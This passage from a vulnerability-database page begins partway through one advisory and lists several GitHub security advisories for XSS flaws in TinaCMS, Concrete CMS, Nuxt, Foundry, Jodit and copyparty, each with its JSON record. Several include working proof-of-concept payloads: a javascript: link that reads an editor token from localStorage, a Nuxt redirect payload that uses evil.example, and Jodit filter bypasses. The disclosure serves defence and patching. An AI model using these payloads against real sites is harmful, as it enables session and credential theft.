res.writeHead(200,{\u0027content-type\u0027:p.endsWith(\u0027.js\u0027)?\u0027text/javascript\u0027:\u0027text/html; charset=utf-8\u0027});\n res.end(fs.readFileSync(f));});\n(async()=\u003e{await new Promise(r=\u003esrv.listen(PORT,\u0027127.0.0.1\u0027,r));\n const browser=await chromium.launch({executablePath:\u0027/usr/bin/google-chrome\u0027});\n const page=await browser.newPage();\n await page.goto(`http://127.0.0.1:${PORT}/`);\n await page.waitForFunction(()=\u003ewindow.__ready===true); await page.waitForTimeout(300);\n const rendered=await page.evaluate(()=\u003e{const a=document.querySelector(\u0027tina-markdown\u0027).shadowRoot.querySelector(\u0027a\u0027);\n   return {hrefAttr:a\u0026\u0026a.getAttribute(\u0027href\u0027)};});\n await page.evaluate(()=\u003edocument.querySelector(\u0027tina-markdown\u0027).shadowRoot.querySelector(\u0027a\u0027).click());\n await page.waitForTimeout(500);\n const pwned=await page.evaluate(()=\u003ewindow.__pwned||null);\n const control=await page.evaluate(()=\u003ewindow.__sanitizeUrl(\"javascript:window.__pwned = document.domain\"));\n console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,\n   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));\n await browser.close(); srv.close();})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-tm\nnpx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n  \"renderedAnchorHref\": \"javascript:window.__pwned=document.domain+\u0027 | localStorage[tinacms-auth]=\u0027+localStorage.getItem(\u0027tinacms-auth\u0027);void 0\",\n  \"scriptExecutedOnClick\": true,\n  \"capturedByPayload\": \"127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN\",\n  \"control_sanitizeUrl_output\": \"\"\n}\n```\n\nExpected vulnerable output \u2014 `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page\u0027s own domain plus the value read out of `localStorage[\u0027tinacms-auth\u0027]` (script ran in the site origin with full read access to that origin\u0027s storage). All held.\n\nControl \u2014 `control_sanitizeUrl_output` is `\"\"`. The repository\u0027s own `sanitizeUrl`, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what `packages/tinacms/src/rich-text/index.tsx:335` and `packages/@tinacms/astro/src/LinkNode.astro:19` do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.\n\nSecond control, internal to the same file: an `html` node carrying `\u003ca href=\"javascript:alert(1)\"\u003ex\u003c/a\u003e` is stripped by the DOMPurify call at `:68`, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-tm\n```\n\nThe PoC was re-run after this report was drafted; the JSON above is that run.\n\n### Impact\n\nStored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor\u0027s browser session on the site\u0027s origin. Because TinaCMS\u0027s documented layout serves the admin from the same origin (`public/admin/`) and stores the editor token in `localStorage` under `tinacms-auth` (`packages/tinacms/src/auth/authenticate.ts:5`, written at `packages/tinacms/src/internalClient/authProvider.ts:117`), a clicking visitor who is themselves an editor or administrator exposes that credential \u2014 the PoC reads it.\n\nImpacted: any site rendering TinaCMS rich-text through `\u003ctina-markdown\u003e`. That component exists precisely for non-React sites, i.e. the deployments that do not get `tinacms`\u0027s sanitized React renderer.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
  "id": "GHSA-c42q-qvc3-j6vg",
  "modified": "2026-10-09T20:56:45Z",
  "published": "2026-10-09T20:56:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS"
}

GHSA-F73J-PM2C-RXVR

Vulnerability from github – Published: 2026-05-22 00:31 – Updated: 2026-06-24 21:11
VLAI
Summary
Concrete CMS is Vulnerable to Reflected XSS in Legacy Pagination
Details

Concrete CMS 9.5.0 and below is vulnerable to Reflected XSS in Legacy Pagination via HTML attribute injection. Concrete\Core\Legacy\Pagination builds pagination links by raw-interpolating its $URL field into href="" (). Any authenticated admin or report viewer with access to /dashboard/reports/forms/legacy who clicks the crafted URL fires the payload in their session.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "concrete5/concrete5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-8245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-83"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-24T21:11:32Z",
    "nvd_published_at": "2026-05-21T22:16:50Z",
    "severity": "MODERATE"
  },
  "details": "Concrete CMS 9.5.0 and below is vulnerable to Reflected XSS in Legacy Pagination via HTML attribute injection.\u00a0Concrete\\Core\\Legacy\\Pagination builds pagination links by raw-interpolating its $URL field into href=\"\" (\u003ca href=\"{$linkURL}\" \u2026\u003e).\u00a0Any authenticated admin or report viewer with access to `/dashboard/reports/forms/legacy` who clicks the crafted URL fires the payload in their session.",
  "id": "GHSA-f73j-pm2c-rxvr",
  "modified": "2026-06-24T21:11:32Z",
  "published": "2026-05-22T00:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8245"
    },
    {
      "type": "WEB",
      "url": "https://documentation.concretecms.org/9-x/developers/introduction/version-history/951-release-notes"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/concretecms/concretecms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Concrete CMS is Vulnerable to Reflected XSS in Legacy Pagination"
}

GHSA-FX6J-W5W5-H468

Vulnerability from github – Published: 2026-05-19 15:49 – Updated: 2026-07-08 17:35
VLAI
Summary
Nuxt: Reflected XSS in `navigateTo()` external redirect
Details

Summary

navigateTo() with external: true generates a server-side HTML redirect body containing a <meta http-equiv="refresh"> tag. The destination URL is only sanitized by replacing " with %22, leaving <, >, &, and ' unencoded. An attacker who can influence the URL passed to navigateTo(url, { external: true }) can break out of the content="…" attribute and inject arbitrary HTML/JavaScript that executes under the application's origin.

This is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed javascript: protocol bypass. The issue here is triggered by any valid URL containing >.

Impact

Applications that pass user-controlled input to navigateTo(url, { external: true }) — typically via a ?next= / ?redirect= query parameter used for post-login or "return to" flows — are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application's origin during the server-rendered redirect response, before the meta-refresh fires.

Details

In packages/nuxt/src/app/composables/router.ts, the SSR redirect path builds an HTML response body with only " percent-encoded in the destination URL:

const encodedLoc = location.replace(/"/g, '%22')
nuxtApp.ssrContext!['~renderResponse'] = {
status: sanitizeStatusCode(options?.redirectCode || 302, 302),
body: `<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=${encodedLoc}"></head></html>`,
headers: { location: encodeURL(location, isExternalHost) },
}

The Location header is normalised through encodeURL() (which uses the URL constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause.

Proof of concept

Global middleware that forwards a query parameter to navigateTo:

// middleware/redirect.global.ts
export default defineNuxtRouteMiddleware((to) => {
const next = to.query.next as string | undefined
if (next) {
 return navigateTo(next, { external: true })
}
})

Request:

GET /?next=https://evil.example/x><img src=x onerror=alert(document.domain)>

Response body:

<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=https://evil.example/x><img src=x onerror=alert(document.domain)>"></head></html>

The > after evil.example/x terminates the content="…" attribute, and the <img onerror> tag executes JavaScript in the application's origin before any redirect occurs.

Patches

Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35052. The fix percent-encodes the full set of HTML-attribute-significant characters (&, ", ', <, >) before interpolating the URL into the meta-refresh body

Workarounds

If you can't upgrade immediately, validate user-controlled URLs before passing them to navigateTo(url, { external: true }). At minimum, normalise through new URL(input).toString() and reject inputs containing < or > (a normalised URL with these characters is malformed and safe to refuse).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.21.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.3"
            },
            {
              "fixed": "3.21.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-alpha.1"
            },
            {
              "fixed": "4.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-83"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:49:25Z",
    "nvd_published_at": "2026-06-12T14:16:31Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n`navigateTo()` with `external: true` generates a server-side HTML redirect body containing a `\u003cmeta http-equiv=\"refresh\"\u003e` tag. The destination URL is only sanitized by replacing `\"` with `%22`, leaving `\u003c`, `\u003e`, `\u0026`, and `\u0027` unencoded. An attacker who can influence the URL passed to `navigateTo(url, { external: true })` can break out of the `content=\"\u2026\"` attribute and inject arbitrary HTML/JavaScript that executes under the application\u0027s origin.\n\nThis is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed `javascript:` protocol bypass. The issue here is triggered by any valid URL containing `\u003e`.\n\n### Impact\nApplications that pass user-controlled input to `navigateTo(url, { external: true })` \u2014 typically via a `?next=` / `?redirect=` query parameter used for post-login or \"return to\" flows \u2014 are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application\u0027s origin during the server-rendered redirect response, before the meta-refresh fires.\n\n### Details\nIn `packages/nuxt/src/app/composables/router.ts`, the SSR redirect path builds an HTML response body with only `\"` percent-encoded in the destination URL:\n\n```ts\nconst encodedLoc = location.replace(/\"/g, \u0027%22\u0027)\nnuxtApp.ssrContext![\u0027~renderResponse\u0027] = {\nstatus: sanitizeStatusCode(options?.redirectCode || 302, 302),\nbody: `\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\u003cmeta http-equiv=\"refresh\" content=\"0; url=${encodedLoc}\"\u003e\u003c/head\u003e\u003c/html\u003e`,\nheaders: { location: encodeURL(location, isExternalHost) },\n}\n```\n\nThe `Location` header is normalised through `encodeURL()` (which uses the `URL` constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause.\n\n### Proof of concept\n\nGlobal middleware that forwards a query parameter to `navigateTo`:\n\n```ts\n// middleware/redirect.global.ts\nexport default defineNuxtRouteMiddleware((to) =\u003e {\nconst next = to.query.next as string | undefined\nif (next) {\n return navigateTo(next, { external: true })\n}\n})\n```\n\nRequest:\n\n```\nGET /?next=https://evil.example/x\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\n```\n\nResponse body:\n\n```html\n\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\u003cmeta http-equiv=\"refresh\" content=\"0; url=https://evil.example/x\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\"\u003e\u003c/head\u003e\u003c/html\u003e\n```\n\nThe `\u003e` after `evil.example/x` terminates the `content=\"\u2026\"` attribute, and the `\u003cimg onerror\u003e` tag executes JavaScript in the application\u0027s origin before any redirect\noccurs.\n\n### Patches\nFixed in `nuxt@4.4.6` and `nuxt@3.21.6` by [#35052](https://github.com/nuxt/nuxt/pull/35052). The fix percent-encodes the full set of HTML-attribute-significant characters (`\u0026`, `\"`, `\u0027`, `\u003c`, `\u003e`) before interpolating the URL into the meta-refresh body\n\n### Workarounds\nIf you can\u0027t upgrade immediately, validate user-controlled URLs before passing them to `navigateTo(url, { external: true })`. At minimum, normalise through `new URL(input).toString()` and reject inputs containing `\u003c` or `\u003e` (a normalised URL with these characters is malformed and safe to refuse).",
  "id": "GHSA-fx6j-w5w5-h468",
  "modified": "2026-07-08T17:35:00Z",
  "published": "2026-05-19T15:49:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-fx6j-w5w5-h468"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/pull/35052"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/nuxt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nuxt: Reflected XSS in `navigateTo()` external redirect"
}

GHSA-H7R6-9754-JPV8

Vulnerability from github – Published: 2023-08-04 00:30 – Updated: 2024-04-04 06:32
VLAI
Details

A security defect was identified in Foundry Frontend that enabled users to potentially conduct DOM XSS attacks if Foundry's CSP were to be bypassed.

This defect was resolved with the release of Foundry Frontend 6.225.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-30958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-83"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-03T22:15:12Z",
    "severity": "MODERATE"
  },
  "details": "A security defect was identified in Foundry Frontend that enabled users to potentially conduct DOM XSS attacks if Foundry\u0027s CSP were to be bypassed.\n\nThis defect was resolved with the release of Foundry Frontend 6.225.0.\n\n",
  "id": "GHSA-h7r6-9754-jpv8",
  "modified": "2024-04-04T06:32:32Z",
  "published": "2023-08-04T00:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30958"
    },
    {
      "type": "WEB",
      "url": "https://palantir.safebase.us/?tcuUid=5764b094-d3c0-4380-90f2-234f36116c9b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J839-GQQ4-GF9J

Vulnerability from github – Published: 2026-07-31 19:08 – Updated: 2026-07-31 19:08
VLAI
Summary
Jodit has incomplete javascript: scheme normalization in sanitizeHTMLElement href check that allows link XSS
Details

Summary

jodit's sanitizeHTMLElement neutralizes a javascript: href using a bare href.trim().indexOf('javascript') === 0 check. This omits the normalization jodit applies to every other URL attribute: isDangerousUrl strips control bytes with value.replace(/[\u0000-\u0020]+/g, '') and lowercases the value before testing the scheme. Because the href check does neither, it is bypassed by three obfuscation classes, all confirmed firing on click against the shipped 4.12.30 build:

  1. Case variants: JAVASCRIPT:, Javascript:, jaVaScRiPt: (the check is case-sensitive).
  2. A leading C0 control byte, e.g. a \x01 prefix before lowercase javascript: (trim() does not remove bytes in the \x00-\x08 / \x0e-\x1f range, but the browser strips a leading control byte before resolving the scheme).
  3. An embedded tab or newline inside the scheme, e.g. java\tscript: or java\nscript: (the browser strips tab/newline from a URL, but indexOf('javascript') sees the broken word and does not match).

The dangerous href survives editor.value = assignment and the on-change LazyWalker, persisting in the stored editor value. A victim who clicks the link in any consumer that renders the stored value (readonly editor, server-rendered page, innerHTML consumer) runs attacker-controlled JS in that page's origin.

Details

The check is in sanitizeHTMLElement at src/core/helpers/html/safe-html.ts:213:

if (safeJavaScriptLink && href && href.trim().indexOf('javascript') === 0) {
    attr(elm, 'href', location.protocol + '//' + href);
    effected = true;
}

href.trim() removes leading/trailing ASCII whitespace only, and indexOf('javascript') is case-sensitive and literal. So the check fails to fire whenever the scheme is upper/mixed-case, prefixed by a non-whitespace control byte, or split by an embedded tab/newline - all of which a browser still resolves to javascript: on click (URI schemes are case-insensitive per RFC 3986 section 3.1; leading control bytes, tabs and newlines are stripped from a URL during parsing).

The same file already contains the correct routine, isDangerousUrl() (line 176), used for every other URL attribute (src, data, action, formaction, poster, background, xlink:href):

function isDangerousUrl(value, tagName) {
    const normalized = value.replace(/[\u0000-\u0020]+/g, '').toLowerCase();
    if (/^(?:javascript|vbscript|livescript|mocha):/.test(normalized)) {
        return true;
    }
    // ...
}

isDangerousUrl strips every control byte and ASCII space (/[\u0000-\u0020]+/g) and lowercases before testing the scheme, so it resists all three obfuscations. But href never goes through it: the attribute list isDangerousUrl is applied to (URL_ATTRIBUTES) is commented "besides href", and href is handled only by the weaker indexOf check. Both the synchronous value-set path (onBeforeSetNativeEditorValue -> safeHTML -> sanitizeHTMLElement) and the asynchronous on-change path (sanitizeAttributes -> sanitizeHTMLElement) use that same weak check.

Positive controls (filter is otherwise live): a plain lowercase javascript: href IS neutralized: jodit rewrites the value to location.protocol + '//' + href, so it reads about://javascript:... on an about:blank test page and https://javascript:... on an https page. A leading ASCII space or tab IS caught by trim(); the bypass is specific to the un-normalized forms above.

Proof of concept

Default configuration. Assign a payload to the editor and read back the stored value:

const editor = Jodit.make('#editor');
editor.value = '<a href="JAVASCRIPT:alert(document.domain)">click me</a>';
// editor.value getter returns the href unchanged:
//   <p><a href="JAVASCRIPT:alert(document.domain)">click me</a></p>
document.getElementById('view').innerHTML = editor.value;
// Clicking "click me" runs alert(document.domain) in the consumer's origin.

The same persists for the leading-control-byte form (a \x01 prefix before lowercase javascript:) and the embedded-tab/newline forms (java\tscript: / java\nscript:). Verified live on the shipped es2021/jodit.min.js for jodit 4.12.30. Positive controls in the same run: <img src=x onerror=...> stripped; lowercase javascript: neutralized to location.protocol + '//' + href (about://... on the about:blank test page used here, https://... on an https page).

Impact

Stored click-XSS. An attacker with write access to an editor instance (content author, or comment author in a multi-user application) stores a crafted javascript: link. Any user who clicks it in a view that renders the stored value (readonly editor, server-rendered page, innerHTML consumer) runs attacker-controlled JS in that origin. One user interaction (the click) is required. A consumer that re-sanitizes the editor output before rendering is not affected.

Suggested fix

Route href through the existing isDangerousUrl() rather than the bespoke indexOf check. isDangerousUrl already strips control bytes and lowercases, so it closes the case, control-byte, and embedded-whitespace bypasses at once:

-   if (safeJavaScriptLink && href && href.trim().indexOf('javascript') === 0) {
+   if (safeJavaScriptLink && href && isDangerousUrl(href, elm.nodeName.toLowerCase())) {
        attr(elm, 'href', location.protocol + '//' + href);
        effected = true;
    }
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.12.30"
      },
      "package": {
        "ecosystem": "npm",
        "name": "jodit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.12.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-83"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T19:08:20Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\njodit\u0027s `sanitizeHTMLElement` neutralizes a `javascript:` `href` using a bare `href.trim().indexOf(\u0027javascript\u0027) === 0` check. This omits the normalization jodit applies to every other URL attribute: `isDangerousUrl` strips control bytes with `value.replace(/[\\u0000-\\u0020]+/g, \u0027\u0027)` and lowercases the value before testing the scheme. Because the `href` check does neither, it is bypassed by three obfuscation classes, all confirmed firing on click against the shipped 4.12.30 build:\n\n1. Case variants: `JAVASCRIPT:`, `Javascript:`, `jaVaScRiPt:` (the check is case-sensitive).\n2. A leading C0 control byte, e.g. a `\\x01` prefix before lowercase `javascript:` (`trim()` does not remove bytes in the `\\x00`-`\\x08` / `\\x0e`-`\\x1f` range, but the browser strips a leading control byte before resolving the scheme).\n3. An embedded tab or newline inside the scheme, e.g. `java\\tscript:` or `java\\nscript:` (the browser strips tab/newline from a URL, but `indexOf(\u0027javascript\u0027)` sees the broken word and does not match).\n\nThe dangerous href survives `editor.value =` assignment and the on-change LazyWalker, persisting in the stored editor value. A victim who clicks the link in any consumer that renders the stored value (readonly editor, server-rendered page, `innerHTML` consumer) runs attacker-controlled JS in that page\u0027s origin.\n\n### Details\n\nThe check is in `sanitizeHTMLElement` at `src/core/helpers/html/safe-html.ts:213`:\n\n```js\nif (safeJavaScriptLink \u0026\u0026 href \u0026\u0026 href.trim().indexOf(\u0027javascript\u0027) === 0) {\n    attr(elm, \u0027href\u0027, location.protocol + \u0027//\u0027 + href);\n    effected = true;\n}\n```\n\n`href.trim()` removes leading/trailing ASCII whitespace only, and `indexOf(\u0027javascript\u0027)` is case-sensitive and literal. So the check fails to fire whenever the scheme is upper/mixed-case, prefixed by a non-whitespace control byte, or split by an embedded tab/newline - all of which a browser still resolves to `javascript:` on click (URI schemes are case-insensitive per RFC 3986 section 3.1; leading control bytes, tabs and newlines are stripped from a URL during parsing).\n\nThe same file already contains the correct routine, `isDangerousUrl()` (line 176), used for every other URL attribute (`src`, `data`, `action`, `formaction`, `poster`, `background`, `xlink:href`):\n\n```js\nfunction isDangerousUrl(value, tagName) {\n    const normalized = value.replace(/[\\u0000-\\u0020]+/g, \u0027\u0027).toLowerCase();\n    if (/^(?:javascript|vbscript|livescript|mocha):/.test(normalized)) {\n        return true;\n    }\n    // ...\n}\n```\n\n`isDangerousUrl` strips every control byte and ASCII space (`/[\\u0000-\\u0020]+/g`) and lowercases before testing the scheme, so it resists all three obfuscations. But `href` never goes through it: the attribute list `isDangerousUrl` is applied to (`URL_ATTRIBUTES`) is commented \"besides href\", and `href` is handled only by the weaker `indexOf` check. Both the synchronous value-set path (`onBeforeSetNativeEditorValue` -\u003e `safeHTML` -\u003e `sanitizeHTMLElement`) and the asynchronous on-change path (`sanitizeAttributes` -\u003e `sanitizeHTMLElement`) use that same weak check.\n\nPositive controls (filter is otherwise live): a plain lowercase `javascript:` href IS neutralized: jodit rewrites the value to `location.protocol + \u0027//\u0027 + href`, so it reads `about://javascript:...` on an about:blank test page and `https://javascript:...` on an https page. A leading ASCII space or tab IS caught by `trim()`; the bypass is specific to the un-normalized forms above.\n\n### Proof of concept\n\nDefault configuration. Assign a payload to the editor and read back the stored value:\n\n```js\nconst editor = Jodit.make(\u0027#editor\u0027);\neditor.value = \u0027\u003ca href=\"JAVASCRIPT:alert(document.domain)\"\u003eclick me\u003c/a\u003e\u0027;\n// editor.value getter returns the href unchanged:\n//   \u003cp\u003e\u003ca href=\"JAVASCRIPT:alert(document.domain)\"\u003eclick me\u003c/a\u003e\u003c/p\u003e\ndocument.getElementById(\u0027view\u0027).innerHTML = editor.value;\n// Clicking \"click me\" runs alert(document.domain) in the consumer\u0027s origin.\n```\n\nThe same persists for the leading-control-byte form (a `\\x01` prefix before lowercase `javascript:`) and the embedded-tab/newline forms (`java\\tscript:` / `java\\nscript:`). Verified live on the shipped `es2021/jodit.min.js` for jodit 4.12.30. Positive controls in the same run: `\u003cimg src=x onerror=...\u003e` stripped; lowercase `javascript:` neutralized to `location.protocol + \u0027//\u0027 + href` (`about://...` on the about:blank test page used here, `https://...` on an https page).\n\n### Impact\n\nStored click-XSS. An attacker with write access to an editor instance (content author, or comment author in a multi-user application) stores a crafted `javascript:` link. Any user who clicks it in a view that renders the stored value (readonly editor, server-rendered page, `innerHTML` consumer) runs attacker-controlled JS in that origin. One user interaction (the click) is required. A consumer that re-sanitizes the editor output before rendering is not affected.\n\n### Suggested fix\n\nRoute `href` through the existing `isDangerousUrl()` rather than the bespoke `indexOf` check. `isDangerousUrl` already strips control bytes and lowercases, so it closes the case, control-byte, and embedded-whitespace bypasses at once:\n\n```diff\n-\tif (safeJavaScriptLink \u0026\u0026 href \u0026\u0026 href.trim().indexOf(\u0027javascript\u0027) === 0) {\n+\tif (safeJavaScriptLink \u0026\u0026 href \u0026\u0026 isDangerousUrl(href, elm.nodeName.toLowerCase())) {\n \t\tattr(elm, \u0027href\u0027, location.protocol + \u0027//\u0027 + href);\n \t\teffected = true;\n \t}\n```",
  "id": "GHSA-j839-gqq4-gf9j",
  "modified": "2026-07-31T19:08:20Z",
  "published": "2026-07-31T19:08:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xdan/jodit/security/advisories/GHSA-j839-gqq4-gf9j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xdan/jodit/commit/5fba6ef2381d151d7cb8e3c5ad0b9996af0f97b0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xdan/jodit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xdan/jodit/releases/tag/4.12.31"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jodit has incomplete javascript: scheme normalization in sanitizeHTMLElement href check that allows link XSS"
}

GHSA-M2JW-CJ8V-937R

Vulnerability from github – Published: 2025-02-26 20:06 – Updated: 2025-02-26 20:06
VLAI
Summary
copyparty renders unsanitized filenames as HTML when user uploads empty files
Details

Summary

A DOM-Based XSS was discovered in copyparty, a portable fileserver. The vulnerability is considered low-risk.

Details

By handing someone a maliciously-named file, and then tricking them into dragging the file into copyparty's Web-UI, an attacker could execute arbitrary javascript with the same privileges as that user. For example, this could give unintended read-access to files owned by that user. The bug is triggered by the drag-drop action itself; it is not necessary to actually initiate the upload. The file must be empty (zero bytes).

Note: As a general-purpose webserver, it is intentionally possible to upload HTML-files with arbitrary javascript in <script> tags, which will execute when the file is opened. The difference is that this vulnerability would trigger execution of javascript during the act of uploading, and not when the uploaded file was opened.

Proof of Concept (POC)

  1. Create an empty file named <img src=x onerror="alert(1)">
  2. Drag-and-drop the file into the browser to initiate an upload
  3. The alert(1) is executed
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "copyparty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27145"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-83"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-26T20:06:56Z",
    "nvd_published_at": "2025-02-25T02:15:16Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nA [DOM-Based XSS](https://capec.mitre.org/data/definitions/588.html) was discovered in [copyparty](https://github.com/9001/copyparty), a portable fileserver. The vulnerability is considered low-risk.\n\n## Details\n\nBy handing someone a maliciously-named file, and then tricking them into dragging the file into copyparty\u0027s Web-UI, an attacker could execute arbitrary javascript with the same privileges as that user. For example, this could give unintended read-access to files owned by that user. The bug is triggered by the drag-drop action itself; it is not necessary to actually initiate the upload. The file must be empty (zero bytes).\n\nNote: As a general-purpose webserver, it is intentionally possible to upload HTML-files with arbitrary javascript in `\u003cscript\u003e` tags, which will execute when the file is opened. The difference is that this vulnerability would trigger execution of javascript during the act of uploading, and not when the uploaded file was opened.\n\n## Proof of Concept (POC)\n\n1. Create an empty file named `\u003cimg src=x onerror=\"alert(1)\"\u003e`\n2. Drag-and-drop the file into the browser to initiate an upload\n3. The `alert(1)` is executed",
  "id": "GHSA-m2jw-cj8v-937r",
  "modified": "2025-02-26T20:06:56Z",
  "published": "2025-02-26T20:06:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/9001/copyparty/security/advisories/GHSA-m2jw-cj8v-937r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27145"
    },
    {
      "type": "WEB",
      "url": "https://github.com/9001/copyparty/commit/438ea6ccb06f39d7cbb4b6ee7ad44606e21a63dd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/9001/copyparty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/9001/copyparty/releases/tag/v1.16.15"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "copyparty renders unsanitized filenames as HTML when user uploads empty files"
}

Mitigation
Implementation

